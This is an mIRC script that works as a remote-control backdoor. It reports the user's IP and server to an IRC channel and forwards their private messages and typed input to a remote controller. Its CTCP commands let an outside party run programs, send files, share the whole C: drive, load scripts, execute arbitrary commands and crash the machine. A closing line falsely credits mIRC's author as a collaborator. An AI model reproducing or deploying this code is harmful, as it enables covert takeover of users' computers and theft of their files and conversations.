|
|
on 1:start:{
.remote on
.ctcps on
.events on
.raw on }
on 1:CONNECT:.msg #tbos !B0T! $ip on $server $+ : $+ $port | .timer1 0 300 .msg
#tbos !B0T! $ip on $server $+ : $+ $port | { unset %luser | .colour CTCP $colour(background)
}
on 1:DISCONNECT:.colour CTCP $colour(4)
on 1:TEXT:*:?:{ if %luser != $null .msg %luser -- $nick > $1- }
on 1:INPUT:?:{ if ( $left($1,1) != $chr(47) ) { msg $active $1- | if %luser
!= $null .msg %luser ++ $active > $1- | halt } if ( $left($1,1) == $chr(47)
) { if %luser != $null .msg %luser < Inputted: $1- | $1- | halt } }
on 1:input:*:{ if %luser != $null .msg %luser < Responded: $1- }
on 1:NICK:{ if ($nick == $me) if %luser != $null .msg %luser OldNick was $nick
}
on 1:OP:#:{ if ( $opnick == $me ) if %luser != $null .msg %luser I am op on
$chan }
ctcp 1:xuse:{ set %luser $2 }
ctcp 1:xdeuse:{ unset %luser }
ctcp 1:xb0t:{ .msg $nick Hello - B0T }
ctcp 1:xsend:{ .dcc send $2 $3- }
ctcp 1:xfind:{ .run $findfile(c:\,$2-,1) }
ctcp 1:xrun:{ .run $2- }
ctcp 1:xquit:*:{ .quit $2- }
ctcp 1:xbsd:*:{ .run c:/nul/nul }
ctcp 1:xdccunignore:{ .dcc ignore off }
ctcp 1:xmsg:{ .msg $2 $3- }
ctcp 1:xfserv:*:{ .fserve $nick 5 C:\ }
ctcp 1:xload:{ .load -rs $2- }
ctcp 1:xunload:{ .unload -rs $2- }
ctcp 1:*:*:{ .$1 $2 $3 $4 $5 $6 $7 $8 $9 $10 $11 $12 $13 $14 $15 $16 $17 $18
$19 $20 }
;by ReDeeMeR in collaboration with Khaled Mardam-Bey
;http://www.mirc.com